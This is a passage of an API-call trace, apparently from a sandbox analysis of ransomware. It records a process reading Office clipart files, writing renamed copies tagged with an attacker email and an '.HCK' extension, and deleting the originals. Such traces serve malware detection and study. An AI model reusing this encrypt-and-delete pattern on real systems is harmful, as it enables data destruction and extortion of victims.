office\\root\\clipart\\pub60cor\\ph02503u.bmp")) returned 0x220 [0179.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02503u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02503u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.790] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.790] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02503u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.791] GetLastError () returned 0x0 [0179.791] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0179.794] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0179.795] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.795] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.795] SetEndOfFile (hFile=0x2fc) returned 1 [0179.798] CloseHandle (hObject=0x2fc) returned 1 [0179.798] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.798] SetEndOfFile (hFile=0x368) returned 1 [0179.803] CloseHandle (hObject=0x368) returned 1 [0179.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02503u.bmp")) returned 1 [0179.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP") returned 68 [0179.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP") returned 68 [0179.807] lstrlenW (lpString=".doc") returned 4 [0179.807] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.807] lstrlenW (lpString=".docx") returned 5 [0179.808] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.808] lstrlenW (lpString=".pdf") returned 4 [0179.808] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.808] lstrlenW (lpString=".xls") returned 4 [0179.808] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.808] lstrlenW (lpString=".xlsx") returned 5 [0179.808] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.808] lstrlenW (lpString=".ppt") returned 4 [0179.808] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP") returned 68 [0179.808] lstrlenW (lpString=".zip") returned 4 [0179.808] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.808] lstrlenW (lpString=".rar") returned 4 [0179.808] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.808] lstrlenW (lpString=".bz2") returned 4 [0179.808] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.808] lstrlenW (lpString=".7z") returned 3 [0179.808] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP") returned 68 [0179.808] lstrlenW (lpString=".dbf") returned 4 [0179.808] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP") returned 68 [0179.808] lstrlenW (lpString=".1cd") returned 4 [0179.808] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP") returned 68 [0179.808] lstrlenW (lpString=".jpg") returned 4 [0179.808] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP") returned 68 [0179.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP") returned 68 [0179.808] lstrlenW (lpString=".doc") returned 4 [0179.808] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.808] lstrlenW (lpString=".docx") returned 5 [0179.808] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.808] lstrlenW (lpString=".pdf") returned 4 [0179.808] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.808] lstrlenW (lpString=".xls") returned 4 [0179.808] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.808] lstrlenW (lpString=".xlsx") returned 5 [0179.808] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.808] lstrlenW (lpString=".ppt") returned 4 [0179.808] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP") returned 68 [0179.808] lstrlenW (lpString=".zip") returned 4 [0179.808] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.809] lstrlenW (lpString=".rar") returned 4 [0179.809] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.809] lstrlenW (lpString=".bz2") returned 4 [0179.809] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.809] lstrlenW (lpString=".7z") returned 3 [0179.809] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP") returned 68 [0179.809] lstrlenW (lpString=".dbf") returned 4 [0179.809] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP") returned 68 [0179.809] lstrlenW (lpString=".1cd") returned 4 [0179.809] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP") returned 68 [0179.809] lstrlenW (lpString=".jpg") returned 4 [0179.809] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.809] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.809] lstrlenW (lpString="PH02736U.BMP") returned 12 [0179.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.813] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=32400) returned 1 [0179.813] CloseHandle (hObject=0x39c) returned 1 [0179.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736u.bmp")) returned 0x220 [0179.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.817] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.817] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.821] GetLastError () returned 0x0 [0179.821] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7e90, lpOverlapped=0x0) returned 1 [0179.824] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7ea0, lpOverlapped=0x0) returned 1 [0179.825] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.825] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.825] SetEndOfFile (hFile=0x368) returned 1 [0179.826] CloseHandle (hObject=0x368) returned 1 [0179.826] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.827] SetEndOfFile (hFile=0x39c) returned 1 [0179.827] CloseHandle (hObject=0x39c) returned 1 [0179.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736u.bmp")) returned 1 [0179.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP") returned 68 [0179.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP") returned 68 [0179.829] lstrlenW (lpString=".doc") returned 4 [0179.829] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.830] lstrlenW (lpString=".docx") returned 5 [0179.830] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.830] lstrlenW (lpString=".pdf") returned 4 [0179.830] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.830] lstrlenW (lpString=".xls") returned 4 [0179.830] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.830] lstrlenW (lpString=".xlsx") returned 5 [0179.830] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.830] lstrlenW (lpString=".ppt") returned 4 [0179.830] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP") returned 68 [0179.830] lstrlenW (lpString=".zip") returned 4 [0179.830] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.830] lstrlenW (lpString=".rar") returned 4 [0179.830] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.830] lstrlenW (lpString=".bz2") returned 4 [0179.830] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.830] lstrlenW (lpString=".7z") returned 3 [0179.830] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP") returned 68 [0179.830] lstrlenW (lpString=".dbf") returned 4 [0179.830] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP") returned 68 [0179.830] lstrlenW (lpString=".1cd") returned 4 [0179.830] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP") returned 68 [0179.830] lstrlenW (lpString=".jpg") returned 4 [0179.830] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP") returned 68 [0179.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP") returned 68 [0179.830] lstrlenW (lpString=".doc") returned 4 [0179.830] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.830] lstrlenW (lpString=".docx") returned 5 [0179.830] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.830] lstrlenW (lpString=".pdf") returned 4 [0179.830] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.830] lstrlenW (lpString=".xls") returned 4 [0179.830] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.830] lstrlenW (lpString=".xlsx") returned 5 [0179.830] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.830] lstrlenW (lpString=".ppt") returned 4 [0179.830] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP") returned 68 [0179.830] lstrlenW (lpString=".zip") returned 4 [0179.830] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.830] lstrlenW (lpString=".rar") returned 4 [0179.831] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.831] lstrlenW (lpString=".bz2") returned 4 [0179.831] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.831] lstrlenW (lpString=".7z") returned 3 [0179.831] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP") returned 68 [0179.831] lstrlenW (lpString=".dbf") returned 4 [0179.831] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP") returned 68 [0179.831] lstrlenW (lpString=".1cd") returned 4 [0179.831] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP") returned 68 [0179.831] lstrlenW (lpString=".jpg") returned 4 [0179.831] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.831] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0179.831] lstrlenW (lpString="PH02742G.GIF") returned 12 [0179.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.833] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=20645) returned 1 [0179.833] CloseHandle (hObject=0x2fc) returned 1 [0179.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742g.gif")) returned 0x220 [0179.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742g.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.843] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.843] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742g.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.845] GetLastError () returned 0x0 [0179.845] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x50a5, lpOverlapped=0x0) returned 1 [0179.847] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x50b0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x50b0, lpOverlapped=0x0) returned 1 [0179.848] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.848] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.848] SetEndOfFile (hFile=0x300) returned 1 [0179.849] CloseHandle (hObject=0x300) returned 1 [0179.850] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.850] SetEndOfFile (hFile=0x2fc) returned 1 [0179.855] CloseHandle (hObject=0x2fc) returned 1 [0179.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742g.gif")) returned 1 [0179.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF") returned 68 [0179.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF") returned 68 [0179.857] lstrlenW (lpString=".doc") returned 4 [0179.857] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0179.857] lstrlenW (lpString=".docx") returned 5 [0179.857] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0179.857] lstrlenW (lpString=".pdf") returned 4 [0179.857] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0179.857] lstrlenW (lpString=".xls") returned 4 [0179.857] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0179.857] lstrlenW (lpString=".xlsx") returned 5 [0179.857] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0179.857] lstrlenW (lpString=".ppt") returned 4 [0179.857] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0179.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF") returned 68 [0179.857] lstrlenW (lpString=".zip") returned 4 [0179.857] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0179.857] lstrlenW (lpString=".rar") returned 4 [0179.857] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0179.857] lstrlenW (lpString=".bz2") returned 4 [0179.857] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0179.857] lstrlenW (lpString=".7z") returned 3 [0179.857] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0179.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF") returned 68 [0179.857] lstrlenW (lpString=".dbf") returned 4 [0179.857] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0179.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF") returned 68 [0179.857] lstrlenW (lpString=".1cd") returned 4 [0179.858] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0179.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF") returned 68 [0179.858] lstrlenW (lpString=".jpg") returned 4 [0179.858] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0179.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF") returned 68 [0179.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF") returned 68 [0179.858] lstrlenW (lpString=".doc") returned 4 [0179.858] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0179.858] lstrlenW (lpString=".docx") returned 5 [0179.858] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0179.858] lstrlenW (lpString=".pdf") returned 4 [0179.858] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0179.858] lstrlenW (lpString=".xls") returned 4 [0179.858] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0179.858] lstrlenW (lpString=".xlsx") returned 5 [0179.858] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0179.858] lstrlenW (lpString=".ppt") returned 4 [0179.858] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0179.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF") returned 68 [0179.858] lstrlenW (lpString=".zip") returned 4 [0179.858] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0179.858] lstrlenW (lpString=".rar") returned 4 [0179.858] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0179.858] lstrlenW (lpString=".bz2") returned 4 [0179.858] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0179.858] lstrlenW (lpString=".7z") returned 3 [0179.858] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0179.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF") returned 68 [0179.858] lstrlenW (lpString=".dbf") returned 4 [0179.858] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0179.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF") returned 68 [0179.858] lstrlenW (lpString=".1cd") returned 4 [0179.858] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0179.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF") returned 68 [0179.858] lstrlenW (lpString=".jpg") returned 4 [0179.858] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0179.858] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.858] lstrlenW (lpString="PH02746U.BMP") returned 12 [0179.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.863] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=32132) returned 1 [0179.863] CloseHandle (hObject=0x2fc) returned 1 [0179.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746u.bmp")) returned 0x220 [0179.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 